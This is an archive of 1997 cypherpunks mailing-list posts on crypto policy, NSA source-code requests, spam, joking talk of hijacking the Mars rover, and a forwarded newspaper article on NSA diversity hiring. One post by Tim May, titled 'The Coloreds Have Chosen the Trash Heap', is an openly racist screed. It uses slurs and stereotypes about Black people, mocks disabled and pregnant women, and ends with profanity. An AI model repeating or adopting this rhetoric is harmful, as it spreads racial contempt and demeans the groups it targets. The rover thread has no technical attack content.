Date: Tue, 8 Jul 1997 06:06:59 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Hoarding
In-Reply-To: <v03102804afe7028e0544@[207.167.93.63]>
Message-ID: <Pine.GSO.3.96.970707135218.2063E-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 7 Jul 1997, Tim May wrote:

> The Mormons and other religious groups are well known to stockpile large
> amounts of food. I recall that good Mormons are supposed to have on the
> order of  a year's supply of food.
> 
> The effect on militia activities is nil, and even a law which made felons
> of most Mormons and prepared folks would have no effect on militias.

It would have a profound effect on government as a high percentage of
government workers are Mormons.  (Especially amongst agencies like the
IRS.)  There are some interesting reasons as to why this is the case.  It
has to do with the great efforts the Mormon church has gone to to be
accepted by the "authorities".  

But that is a discussion best suited to alt.religion.mormon.recovery...

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Tue, 8 Jul 1997 06:17:38 +0800
To: John Gilmore <gnu@toad.com>
Subject: Re: Australian encryption policy report released!
In-Reply-To: <199707072033.NAA28013@toad.com>
Message-ID: <Pine.GSO.3.96.970707135642.2063F-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 7 Jul 1997, John Gilmore wrote:

> Electronic Frontiers Australia has succeeded in obtaining the "Walsh
> report", with a few paragraphs excised.

Does anyone know what parts were excluded?

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Mon, 7 Jul 1997 20:25:02 +0800
To: cypherpunks@toad.com
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
Message-ID: <3.0.2.32.19970707141240.00967c00@localhost>
MIME-Version: 1.0
Content-Type: text/plain



Bill Frantz wrote:
>Excuse me.  Certain parts of that CDROM are already available overseas.
>If they are not posted to the net how does that prevent them from being
>available overseas?

You mean that it would be fine for foreigners to copy and sell the CD, but
not to put it on the net? Well, copyright law being what it is, makes this
a bit tricky. An ftp administrator have never been sentenced for copyright
violation (please correct me if I'm wrong), but CD copiers are thrown in jail
all the time. The distinction that the courts make is that of profit.

Sure, they can buy the book, but the electronic version is obviously more
useful to some people, or there wouldn't be any market for it.

I know foreigners who would like to put a copy of Applied Cryptography in
their PalmPilots, to carry around for reference. They can't do that legaly,
and that makes crypto less accessible.

Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Tue, 8 Jul 1997 02:45:32 +0800
To: Alan <alano@teleport.com>
Subject: Re: Jim Bell 6
In-Reply-To: <199707071443.HAA23473@toad.com>
Message-ID: <3.0.2.32.19970707142902.03808124@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:43 AM 7/7/97 -0700, Alan wrote:
>Reminds me of some of the "government is dead" threads of a couple of
>years back.  My response was something to the effect of "The government is
>not like an old man dying in a corner.  It is more like an old man having
>an epeliptic seizure in a crowded mall with lots of guns.".  If the
>govenrment is on the way to losing its power over the people, they are
>going to take as many of us down with them on the way out.

Though neither the USSR nor the DDR did when they "went out."  Likewise the 
Catholic Church when it "went out" (as a secular political power in Europe) 
at some point between 1400 and 1900.  

Those three institutions killed the bulk of their victims in their earlier 
more virile phases than they did in their senesence.  That seems likely with 
our government as well.

Single incidents like Bell's arrest prove nothing.  Operation Sun Devil 
looked big at the time but did not lead to an effective government crackdown 
on cyberspace.  It was actually a tactical and strategic loss for them.  If 
Bell gets a dismissal or pleads to minor charges, it will be a loss for the 
Feds as well.  Their losses against Phil Z and Jake Baker exposed the 
weakness of their control regimes when applied to the Net.

DCF
 


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 8 Jul 1997 03:03:38 +0800
To: Ulf Möller <ulf@fitug.de>
Subject: Re: FYI: NSA Requests Source Code From Elvis+
In-Reply-To: <9707071618.AA63188@public.uni-hamburg.de>
Message-ID: <Pine.SUN.3.96.970707144023.5963L-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 7 Jul 1997, Ulf [iso-8859-1] Möller wrote:

> Why should the US government get access to the source code of foreign
> product being imported to the US?

Because they are scum who don't care about the property rights of
corporations.  I wonder what would happen if Sun would instead say "Fuck
you no way" or whether they were threatened into giving it up?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul H. Merrill" <paulmerrill@acm.org>
Date: Tue, 8 Jul 1997 03:43:16 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: Hack the Mars rover
In-Reply-To: <Pine.GSO.3.95.970707125426.8366B-100000@ece>
Message-ID: <33C16E41.6270@acm.org>
MIME-Version: 1.0
Content-Type: text/plain



Ryan Anderson wrote:
> 
> On Mon, 7 Jul 1997, Paul H. Merrill wrote:
> 
> > The appropriate question is how much encryption (and other security) is
> > needed if interrupting the traffic causes the loss of a great deal of
> > money and difficult (if possible at all) fixes.  This is the mindset of
> > the Fed security wienies when specifying and designing; thus it must be
> > the mindset of the non-Fed Wienie looking to crack.
> 
> Well, if it matters any, my initial impression was that this discussion
> was based upon taking over the rover, not necessarily upon just performing
> a DoS attack on it.  Frankly, I can't see a point to a DoS attack...
> taking it over, on the other hand could be fun..
> 
> -----------------------------------------------------------------------
> Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing"
> Wayne State University - CULMA   "May you live in interesting times.."
> randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA
> PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
> -----------------------------------------------------------------------
Picture breaking the Rover -- How many Earthly JoyRides end in Wrecks?
Picture "Finding an undocumented feature" which causes it to cease and
desist.
Picture the simple lost time on target for the mission.

Each of these and a bunch more goes into the "cost of takeover" for the
equation.  In short, of course it is encrypted.

DISCLAIMER:  Never said it, never meant it, and I apologize to anyone
who got the impression I was speaking as thpough others were theorizing
on simple break the rich kid's toys escapades.

PHM
-- 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Paul H. Merrill                Merlyn Enterprises
paulmerrill@acm.org
I have no opinions (just facts)
    so it doesn't matter what my employer thinks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unprivileged user <nobody@www.video-collage.com>
Date: Tue, 8 Jul 1997 04:06:48 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Direct satellite systems?
In-Reply-To: <3.0.2.32.19970705230758.0072d7e8@netcom10.netcom.com>
Message-ID: <97Jul7.155601edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 6 Jul 1997, Lucky Green wrote:

> 
> My local cable killing Mars rover deployment in favor of local dog tag
> ordinances (as required by the city), made me realize it that getting my
> own dish is way overdue.
> 
> I would appreciate reports on any first hand experiences subscribers to
> this list have with satellite services. Yes, NASA TV and the SF channel is
> a must. :-)

I have the Dish Network (www.dishnetwork.com 1-800-333-dish).  They don't
have NASA, but do have SCI-FI, and National Empowerment Television
(net.fcref.org), both C-spans, court-tv, several cnn/cnbc type channels.
I am really happy with it.  With their "better system" (dual lbnf) you can
hang up to 4 receivers - which have to be their own, but the 5000 can get
off-air and includes event timers and even caller-id!  They also offer 6
channel HBO, multi cinemax, etc.  I would take a look.

The big dish would get most of the above, and NASA, but would cost more.

I also looked at primestar/ussb/etc.  Also lots of channels, but a
different set.  I like NET, and some of the channels only on dish, but you
may prefer the channels other providers have

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unprivileged user <nobody@www.video-collage.com>
Date: Tue, 8 Jul 1997 04:07:07 +0800
To: cypherpunks@Algebra.COM
Subject: Re: e$: $MTP? (fwd)
In-Reply-To: <Pine.LNX.3.91.970705114146.2618B-100000@fatmans.demon.co.uk>
Message-ID: <97Jul7.160022edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 5 Jul 1997, Paul Bradley wrote:

> > > Frankly, I see no other solution to this problem in the long run except for
> > > postage, which means it's probably time to start figuring out, in earnest,
> > > how to make it all work. Whoever becomes the lowest cost producer of this
> > > kind of software stands to make a whole *bunch* of money.
> > 
> > We still need to work out how to fit mailing lists fit into this without
> > eliminating them entirely. Chargebacks to the subscribers?  If this list
> > will work in a proposed plan, I think all the others probably would as
> > well.. :-)
> 
> I personally see hashcash as the ideal way to solve this problem, and in 
> Adam Back`s analysis of the hashcash solution he mentions mailing lists 
> and suggest that filtering software have an explicit "filter in" command, 
> so you could eliminate any mail coming from the list from needing to have 
> cash attached. Of course the spammers could then just spam mailing lists, 
> but that it a much smaller problem than the current random UCE problem.

If all mail relays were either limited to sending to or from their
domains, and had a settable quota on Bcc: it would go a long way.  Since
mailers are high in Bcc, they could get a large quota.

I don't think spammers now send 500 discrete messages, especially long
ones, merely Bcc: 500 people.

--- reply to tzeruch - at - ceddec - dot - com ---






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 8 Jul 1997 04:20:12 +0800
To: cypherpunks@toad.com
Subject: Re: Hoarding
In-Reply-To: <v03102804afe6f7f7a09d@[10.0.2.15]>
Message-ID: <v0302090aafe6fb5415be@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:48 pm -0400 on 7/7/97, Steve Schear wrote:


> I heard yesterday, second hand, that hoarding of large amounts of food is
> now a federal crime.  The explanation I heard was that it was intended to
> thwart militias.  Has anyone else on the list heard this loony info?

Nope, but if it's true, they'll have the entire Mormon denomination down
their throats.

Hey, has anyone noticed that the water temperature keeps going up? Ribbit.
Ribbit.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 8 Jul 1997 07:38:06 +0800
To: "Paul H. Merrill" <paulmerrill@acm.org>
Subject: Re: Hack the Mars rover
In-Reply-To: <33C1806F.1C7B@acm.org>
Message-ID: <Pine.3.89.9707071629.A21078-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



Just to clear up any confusion: I don't advocate interfering with the 
Mars probe in any way. As always, my interest in purely academic.


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

On Mon, 7 Jul 1997, Paul H. Merrill wrote:

> Lucky Green wrote:
> > 
> > Yes, the idea was to take over the rover. A DoS would be an extremely
> > idiotic thing to do. Of course so would be damaging the rover. But a
> > little cruise... :-)
> > 
> > -- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
> 
> I hate to be the one to tell you this, but taking someone's toy away --
> even just for awhile -- IS Denial of Service.  And, yes, 'twould be a
> Blast to go joyriding.
> 
> PHM
> > 
> > On Mon, 7 Jul 1997, Ryan Anderson wrote:
> > 
> > > On Mon, 7 Jul 1997, Paul H. Merrill wrote:
> > >
> > > > The appropriate question is how much encryption (and other security) is
> > > > needed if interrupting the traffic causes the loss of a great deal of
> > > > money and difficult (if possible at all) fixes.  This is the mindset of
> > > > the Fed security wienies when specifying and designing; thus it must be
> > > > the mindset of the non-Fed Wienie looking to crack.
> > >
> > > Well, if it matters any, my initial impression was that this discussion
> > > was based upon taking over the rover, not necessarily upon just performing
> > > a DoS attack on it.  Frankly, I can't see a point to a DoS attack...
> > > taking it over, on the other hand could be fun..
> > >
> > > -----------------------------------------------------------------------
> > > Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing"
> > > Wayne State University - CULMA   "May you live in interesting times.."
> > > randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA
> > > PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
> > > -----------------------------------------------------------------------
> > >
> > >
> 
> -- 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> Paul H. Merrill                Merlyn Enterprises
> paulmerrill@acm.org
> I have no opinions (just facts)
>     so it doesn't matter what my employer thinks.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul H. Merrill" <paulmerrill@acm.org>
Date: Tue, 8 Jul 1997 05:04:03 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Hack the Mars rover
In-Reply-To: <Pine.3.89.9707071257.A950-0100000@netcom2>
Message-ID: <33C1806F.1C7B@acm.org>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:
> 
> Yes, the idea was to take over the rover. A DoS would be an extremely
> idiotic thing to do. Of course so would be damaging the rover. But a
> little cruise... :-)
> 
> -- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

I hate to be the one to tell you this, but taking someone's toy away --
even just for awhile -- IS Denial of Service.  And, yes, 'twould be a
Blast to go joyriding.

PHM
> 
> On Mon, 7 Jul 1997, Ryan Anderson wrote:
> 
> > On Mon, 7 Jul 1997, Paul H. Merrill wrote:
> >
> > > The appropriate question is how much encryption (and other security) is
> > > needed if interrupting the traffic causes the loss of a great deal of
> > > money and difficult (if possible at all) fixes.  This is the mindset of
> > > the Fed security wienies when specifying and designing; thus it must be
> > > the mindset of the non-Fed Wienie looking to crack.
> >
> > Well, if it matters any, my initial impression was that this discussion
> > was based upon taking over the rover, not necessarily upon just performing
> > a DoS attack on it.  Frankly, I can't see a point to a DoS attack...
> > taking it over, on the other hand could be fun..
> >
> > -----------------------------------------------------------------------
> > Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing"
> > Wayne State University - CULMA   "May you live in interesting times.."
> > randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA
> > PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
> > -----------------------------------------------------------------------
> >
> >

-- 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Paul H. Merrill                Merlyn Enterprises
paulmerrill@acm.org
I have no opinions (just facts)
    so it doesn't matter what my employer thinks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Tue, 8 Jul 1997 05:09:58 +0800
To: "Paul H. Merrill" <paulmerrill@acm.org>
Subject: Re: Hack the Mars rover
In-Reply-To: <33C1806F.1C7B@acm.org>
Message-ID: <Pine.GSO.3.95.970707165600.9103G-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 7 Jul 1997, Paul H. Merrill wrote:

> I hate to be the one to tell you this, but taking someone's toy away --
> even just for awhile -- IS Denial of Service.  And, yes, 'twould be a
> Blast to go joyriding.

Yeah, it's still DoS, but it's not quite the same as just taking the toy
away from everyone..

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Tue, 8 Jul 1997 05:31:53 +0800
To: cypherpunks@toad.com
Subject: [MILCOM] NSA: struggling with diversity ...
Message-ID: <199707072104.RAA31665@pig.die.com>
MIME-Version: 1.0
Content-Type: text



----- Forwarded message from MHollis628@aol.com -----

Note: the following appeared in the Balto Sun ...

------------------------------------------------------------------------

NSA's quest for diversity called threat 
Employees say personnel practices weaken security; Agency is reducing staff;
Complaints, lawsuits illuminate friction based on race, sex 
------------------------------------------------------------------------


By Scott Wilson 

SUN STAFF

The National Security Agency, whose size, secrecy and mission were spawned by
the Cold War, is in the midst of personnel changes that current and former
employees warn are a threat to national security.

In interviews and in federal lawsuits, NSA workers say some of the agency's
most senior personnel are being forced out as the nation's biggest
intelligence agency attempts simultaneously to reduce and diversify its
staff.

An uneasy atmosphere, some say, has fostered strife over promotions and job
security at the elite electronic-eavesdropping agency.

As a result, some question whether national security is being imperiled by
inexperienced employees being promoted to sensitive jobs to meet hiring
quotas.

At least a dozen lawsuits filed recently illuminate the racial and gender
friction within the agency.

Former employees call senior leadership the "Irish Mafia" and the Office of
Discrimination Complaints and Counseling "a party organization for blacks."

White men, white women, black women and black men have all claimed that
secretive and subjective personnel rules have violated their civil rights.

Jane S. Harris, a black NSA employee who failed to get a promotion, stated in
a discrimination suit filed against the agency last year that personnel
officials blame minorities for racial tension.

"It is a white majority problem," she said. "And the effects are felt by
people of color."

In recent months, three such suits have been dismissed as groundless.

A Glen Burnie lawyer says he has received more than 20 requests since April
from NSA employees considering legal action.

The lawyer, Emile J. Henault Jr., a former 27-year NSA employee, said,
"Suddenly it's become overwhelming."

He said there is a consideration beyond morale and that he questions whether
the agency can

remain competitive.

"They've lost their technological edge," Henault said. "I don't think they
can survive when other agencies [at the Pentagon] are doing their job better.
I never thought anyone would be able to do it better."

The main concern, though, is whether, in its push to diversify its work
force, the agency is leaving sensitive national security tasks in the hands
of untrained workers. One former NSA veteran offered as evidence a recent
travel report.

Such reports, which are required of NSA employees after business trips, are
unclassified, available on request to anyone outside the agency. The report
in question, filed by an inexperienced agent, detailed a trip to a city in
Colombia that revealed classified details of the Drug Enforcement Agency's
operation, down to the location of offices, names and secret technological
information.

Such slips are not the only national security risk, NSA veterans say. This
year, the agency's personnel office, prompted by a growing number of
incidents, warned employees against using the Internet to access adult "news"
groups and other pornographic sites.

Doing so not only violates NSA work rules but is considered a risk because
foreign agents could try to blackmail employees discovered with explicit or
illegal pornography.

Domain of white males

Shielded by national security concerns during the Cold War, the NSA was among
the least diverse agencies in the federal government for decades -- fewer
than one in 10 employees was a member of a minority. It was, by and large,
the domain of highly trained white men.

That ended with a 1994 investigation by the Defense Department inspector
general that found "the NSA had not identified systemic problems and barriers
faced by women and minorities in recruitment, hiring, promotion or career
development."

Congress demanded action, and the next year the NSA completed its first plan
to recruit minorities.

At the same time, Congress asked the agency, Maryland's largest employer, to
shrink the 20,000-member work force it had built up during the Cold War. And
a commission run by former Defense Secretary Harold Brown stressed the need
for a younger work force last year.

Reduction of 2,000 jobs

By conservative estimates, the agency has pared 2,200 jobs in the past two
years through attrition and early retirement. Of the 1,178 employees who left
last year, almost 70 percent were white men.

"They are having a problem modernizing their work force," said a
congressional staff member familiar with intelligence issues, who requested
anonymity.

"Using the bully pulpit to get them to change is one thing. But we may give
them extraordinary powers [such as early-retirement incentives] to reach
their goals. The health of the agency depends on it having a large influx of
talented young people. It is a substantial concern."

Lt. Gen. Kenneth A. Minihan, named NSA director last year, described "the
painful process of change" before the House Select Committee on Intelligence
in September.

"We are moving beyond diversity solely as a demographic exercise focused
exclusively on race and gender," he said. "The message is this: Diversity
encompasses and benefits every employee at NSA, and making diversity work is
part of each of our jobs."

It hasn't been easy making the NSA "look like America," Minihan told
Congress. The NSA wanted one of every three new employees to be a minority.

Nevertheless, of 425 people hired during the fiscal year that ended Sept. 30,
20.5 percent were minorities and 23.8 percent were white women, between 10
and 13 percentage points short of the hiring goal. That left a work force
with a slightly increased proportion of minorities -- from 11.3 percent in
1993 to 12.7 percent three years later.

A new bureaucracy

The push to diversify, though, has spawned a whole new bureaucracy within an
agency already dubbed "the Puzzle Palace."

The personnel office now uses a "Diversity Model" computer program. The
Office of Small and Disadvantaged Business Utilization charts agency minority
contracting. A Systemic Barriers Process Action Team was created to identify
problems with minority promotion.

In addition, an agency once so secret that its employees were forbidden to
tell friends where they worked now sponsors programs for Women's Equality Day
and Hispanic Heritage Month that feature speakers from outside the agency.

A new class is available to employees called "Selection Board and Cultural
Diversity Training Course." This summer, the agency will hold its first I Am
an American Day.

Nonetheless, annual employee complaints filed with the federal Equal
Employment Opportunity Commission have doubled. In 1990, 17 employees filed
claims with the watchdog agency. In 1995, the number was 45, and in nine
months so far this fiscal year, 33 workers have filed.

The complaints continue even as the NSA has changed its promotion policy.

Now women and minority candidates receive at least one round of extra
consideration for promotion, which means a minority woman receives three
chances to advance to a white man's one.

And that has its own problems. In February 1993, William J. Sonntag, an NSA
employee, was up for promotion to deputy division chief. He did not get it.
All three slots went to women. In May 1995, he filed suit in U.S. District
Court in Baltimore.

"I was denied consideration of a management position on the sole basis that
white males were not being considered for three such jobs in my office,"
Sonntag states in his lawsuit.

But Sonntag, of Ellicott City, lost his case last year. "It is fair to say
that the entire thrust of [the] plaintiff's position is that [it] prohibits
affirmative action," wrote Judge Frederic N. Smalkin in his ruling.

Sonntag, now appealing the judge's ruling, and other NSA employees allege
that the agency uses an aggressive brand of affirmative action to deny
promotions and even to fire employees.

Henault calls the personnel office, which works with NSA's medical staff and
counseling office, a "paramilitary group." He said the agency uses
information from confidential employee-counseling sessions to revoke security
clearances -- and, with them, jobs.

A weekend drunken-driving arrest, which used to prompt counseling sessions,
now frequently results in the loss of a security pass and dismissal, he said.

"When you say `national security,' everybody just wilts," Henault said.
"Everybody hides under it."

Sonntag alleged in his suit that the NSA "deleted crucial data on my
qualifications from my personnel file," which the agency denied. A former NSA
employee said he was told to leave the agency after almost three decades or
medical benefits to his wife, who suffers from a chronic illness, would be
cut off.

Attempt to embarrass

In another case, a female employee, who filed her suit under the name "Jane
Doe" fearing retribution, claims NSA released her confidential personnel
files to embarrass her in an outside court case. The agency defends the
release as legal.

"That is why the morale is so low within the intelligence community," said
Mark Zaid, a Washington lawyer who represents Jane Doe. "They make a mistake,
and they refuse to accept responsibility. They go out of their way to avoid
it."

Other suits accuse NSA psychologists of producing false medical evaluations
to justify the revocation of security clearances, which are required for
agency work. The federal civil service offers legal job protections, but a
security clearance is not a right and can be pulled at a supervisor's
discretion.

In 1988, the U.S. Supreme Court ruled that a security clearance can be
revoked subjectively and that no right exists to appeal the decision.

In response to questions from The Sun about personnel policy, the NSA public
affairs office issued a statement that: "Far from diversity diverting our
focus from national security issues, it strengthens us as an agency. It is
the law of the land, it is Congressionally mandated and it is the right thing
to do."


------------------------------------------------------------------------
Originally Published on 7/06/97 
----
This is the milcom mailing list. Milcom is devoted to military
communications monitoring in the HF/VHF/UHF radio spectrum and beyond.
To post to the list, send an email to :     milcom@grove.net
To unsubscribe the list, send an email to:  majordomo@grove.net
with only "unsubscribe milcom" in the BODY of the email.
----

----- End of forwarded message from MHollis628@aol.com -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 7 Jul 1997 23:30:23 +0800
To: cypherpunks@toad.com
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
Message-ID: <199707071515.RAA19807@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 7 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> Mike <Michael.Johnson@mejl.com> writes:
> > You mean that it would be fine for foreigners to copy and sell the CD, but
> > not to put it on the net? Well, copyright law being what it is, makes this
> > a bit tricky. An ftp administrator have never been sentenced for copyright
> > violation (please correct me if I'm wrong),
>
> An MIT student named Lamachhia(sp?) reportedly operated a warez FTP archive.
> He got arrested and charged with something irrelevant (wire fraud??).

The case against him was lost.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Tue, 8 Jul 1997 05:51:40 +0800
To: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Subject: Re: Key Recovery Policy in Japan
In-Reply-To: <199707050110.KAA14212@eccosys.com>
Message-ID: <3.0.2.32.19970707172334.00b56150@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Is the NRC report online?


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM8FeSVQXJENzYr45AQEOYwP/b/DpI6+QBk/DzTIEUcgZBkYsq5qjNmIY
M73obu2C83dAY5fuHRZ4ciDXXVhC7O5ykzxd1LxUTtyoBjxr8+AjaIVk/F0mSiea
Eb4vko4OtDABVxCnMMHXRryjkjUZXjPsrnZTErPNfhP16AF/LRHMDZwdY28a2oYu
++O3wFImJR4=
=hZ0W
-----END PGP SIGNATURE-----


+------------------------------------------------------------------+
|Carl M. Ellison       cme@acm.org    http://www.clark.net/pub/cme |
|    PGP: 61 E2 DE 7F CB 9D 79 84   E9 C8 04 8B A6 32 21 A2        |
+-Officer, officer, arrest that man. He's whistling a dirty song.--+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mismatched NFS IDs <nobody@toad.com>
Date: Tue, 8 Jul 1997 06:26:07 +0800
To: cypherpunks@toad.com
Subject: Re: Hoarding
In-Reply-To: <v0302090aafe6fb5415be@[139.167.130.247]>
Message-ID: <97Jul7.180905edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 7 Jul 1997, Robert Hettinga wrote:

> > I heard yesterday, second hand, that hoarding of large amounts of food is
> > now a federal crime.  The explanation I heard was that it was intended to
> > thwart militias.  Has anyone else on the list heard this loony info?
> 
> Nope, but if it's true, they'll have the entire Mormon denomination down
> their throats.
> 
> Hey, has anyone noticed that the water temperature keeps going up? Ribbit.
> Ribbit.

Or has anyone noticed that only libetrarians are getting steamed?

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 8 Jul 1997 09:20:00 +0800
To: cypherpunks@Algebra.COM
Subject: The Coloreds Have Chosen the Trash Heap
In-Reply-To: <199707072104.RAA31665@pig.die.com>
Message-ID: <v03102805afe7426805aa@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:04 PM -0700 7/7/97, Dave Emery wrote:

>By Scott Wilson
>
>SUN STAFF
>
>The National Security Agency, whose size, secrecy and mission were spawned by
>the Cold War, is in the midst of personnel changes that current and former
>employees warn are a threat to national security.
>
>In interviews and in federal lawsuits, NSA workers say some of the agency's
>most senior personnel are being forced out as the nation's biggest
>intelligence agency attempts simultaneously to reduce and diversify its
>staff.
...
>"It is a white majority problem," she said. "And the effects are felt by
>people of color."

If the coloreds want to work in science and math, how come enrollments in
science, math, and engineering are at 30-year lows for coloreds?

>Now women and minority candidates receive at least one round of extra
>consideration for promotion, which means a minority woman receives three
>chances to advance to a white man's one.

Quotas and special scoring provisions. "We add 400 points to their combined
SAT scores, to bring the coloreds up to the levels scored by the average
whitemale person of privilege." (The unthinkable alternate interpretation
being that 10 years of playing street corner basketball while the honkeys
were reading Heinlein and Feynman may have had something to do with their
current illiteracy.)

At least this is somewhat encouraging: those trying to tap our phones will
be quota employees. Some pregnant, crippled, blind, colored chick will be
filling the NSA's quota for hiring "minority" persons.

UC Berkeley, as a list member here knows quite well, has effectively had to
treat Asians as "honorary white people," for the purposes of setting
quotas. Something that is now ending, thankfully. The colored race is
headed for the trash heap of history, courtesy of their own choices.

Fuck 'em.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Tue, 8 Jul 1997 00:37:26 +0800
To: rah@shipwright.com
Subject: Re: FYI: NSA Requests Source Code From Elvis+
In-Reply-To: <v0302090aafe6aa6a6cea@[139.167.130.246]>
Message-ID: <9707071618.AA63188@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain



> The National Security Agency has asked Sun Microsystems Inc. and Elvis+,
> the Russian networking company in which Sun has a 10 percent stake, to
> turn over the source code of its SunScreen SKIP E+.

Why should the US government get access to the source code of foreign
product being imported to the US?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 8 Jul 1997 10:12:43 +0800
To: Tim May <tcmay@got.net>
Subject: Re: FYI: NSA Requests Source Code From Elvis+
In-Reply-To: <v03102801afe6d3f5130f@[207.167.93.63]>
Message-ID: <Pine.3.89.9707071812.A2279-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



For whatever reason, the original post never made it here. Would somebody 
please email the cite for this NSA request?

Thanks,
-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

On Mon, 7 Jul 1997, Tim May wrote:

> At 9:18 AM -0700 7/7/97, Ulf Möller wrote:
